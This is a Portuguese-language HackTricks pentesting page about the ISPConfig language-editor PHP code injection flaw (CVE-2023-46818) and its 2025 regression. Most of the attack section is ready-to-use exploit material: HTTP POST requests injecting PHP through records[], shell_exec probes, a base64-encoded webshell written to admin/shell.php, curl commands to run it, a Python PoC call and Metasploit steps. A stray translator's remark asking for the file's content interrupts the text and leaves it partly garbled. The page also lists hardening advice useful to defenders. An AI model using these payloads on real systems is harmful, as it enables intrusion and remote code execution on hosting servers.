ISPConfig
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Visão geral
ISPConfig é um painel de controle de hospedagem de código aberto. Versões mais antigas 3.2.x incluíam um recurso de editor de arquivos de idioma que, quando habilitado para o super administrador, permitia injeção arbitrária de código PHP via um registro de tradução malformado. Isso pode resultar em RCE no contexto do servidor web e, dependendo de como o PHP é executado, em escalada de privilégios.
Principais caminhos padrão:
- A raiz web frequentemente em
/var/www/ispconfigquando servida comphp -Sou via Apache/nginx. - A UI de administração acessível no vhost HTTP(S) (às vezes vinculada apenas ao localhost; use SSH port-forward se necessário).
Dica: Se o painel estiver vinculado localmente (por exemplo 127.0.0.1:8080), encaminhe-o:
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
Editor de idiomas PHP code injection (CVE-2023-46818)
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preconditions:
- Login as the built-in superadmin account
admin(other roles are not affected according to the vendor) - Language editor must be enabled:
admin_allow_langedit=yesin/usr/local/ispconfig/security/security_settings.ini - Impact: Administrador autenticado pode injetar PHP arbitrário que é escrito num arquivo de idioma e executado pela aplicação, obtendo RCE no contexto web
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
Manual exploitation flow
- Open/create a language file to obtain CSRF tokens
Envie um primeiro POST para inicializar o formulário e extraia os campos CSRF da resposta HTML (csrf_id, csrf_key). Exemplo de caminho de requisição: /admin/language_edit.php.
- Inject PHP via records[] and save
Submeta um segundo POST incluindo os campos CSRF e um registro de tradução malicioso. Sondas mínimas para execução de comandos:
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
Teste out-of-band (observar ICMP):
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
- Criar arquivos e colocar um webshell
Utilize file_put_contents para criar um arquivo em um caminho acessível via web (por exemplo, admin/):
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
Então escreva uma webshell simples usando base64 para evitar caracteres inválidos no corpo do POST:
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
Não recebi o conteúdo do arquivo src/network-services-pentesting/pentesting-web/ispconfig.md. Por favor cole aqui o texto Markdown que quer traduzido (ou confirme acesso ao conteúdo).
Observações rápidas: manterei código, tags, links, caminhos e nomes técnicos/SaaS sem tradução, e preservarei exatamente a sintaxe Markdown/HTML.
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
Se o PHP for executado como root (por exemplo, via php -S 127.0.0.1:8080 iniciado pelo root), isso resulta em root RCE imediato. Caso contrário, você obtém execução de código como o web server user.
Regressão 2025 (ISPConfig 3.3.0 / 3.3.0p1)
O bug do editor de idioma ressurgiu em 3.3.0/3.3.0p1 e foi corrigido em 3.3.0p2. As pré-condições permanecem inalteradas (admin_allow_langedit e login de admin). O mesmo patch também corrigiu um monitor XSS e logs rotacionados legíveis por todos.
Notas:
- Em 3.3.0/3.3.0p1, logs rotacionados legíveis por todos sob
/usr/local/ispconfig/interface/log/podem leak credentials se o debug logging estava habilitado:
find /usr/local/ispconfig/interface/log -type f -perm -004 -name '*.gz' -exec zcat {} + | head
- As etapas do exploit correspondem ao CVE-2023-46818; 3.3.0p2 adiciona verificações extras antes da edição de idioma.
Python PoC
Um exploit pronto para uso automatiza o gerenciamento de tokens e a entrega de payloads:
Exemplo de execução:
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
Metasploit module (lançado em julho de 2025)
A Rapid7 adicionou exploit/linux/http/ispconfig_lang_edit_php_code_injection, que pode ativar automaticamente admin_allow_langedit se a conta admin fornecida tiver system-config rights.
use exploit/linux/http/ispconfig_lang_edit_php_code_injection
set RHOSTS 10.10.10.50
set RPORT 8080
set USERNAME admin
set PASSWORD <admin_pass>
set TARGETURI /
run
O módulo grava um payload codificado em base64 através de records[] e o executa, fornecendo um PHP Meterpreter ou um payload customizado.
Endurecimento
- Atualize para 3.2.11p1 ou posterior para o problema original, e para 3.3.0p2 ou posterior para a regressão de 2025.
- Desative o language editor a menos que seja estritamente necessário:
admin_allow_langedit=no
- Evite executar o painel como root; configure o PHP-FPM ou o servidor web para reduzir privilégios
- Exija autenticação forte para a conta integrada
admin
Referências
- ISPConfig 3.2.11p1 Released (fixes language editor code injection)
- CVE-2023-46818 – NVD
- bipbopbup/CVE-2023-46818-python-exploit
- HTB Nocturnal: Root via ISPConfig language editor RCE
- ISPConfig 3.3.0p2 Released – Security Update
- CXSecurity WLB-2025070017 – Metasploit module for ISPConfig language_edit.php
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


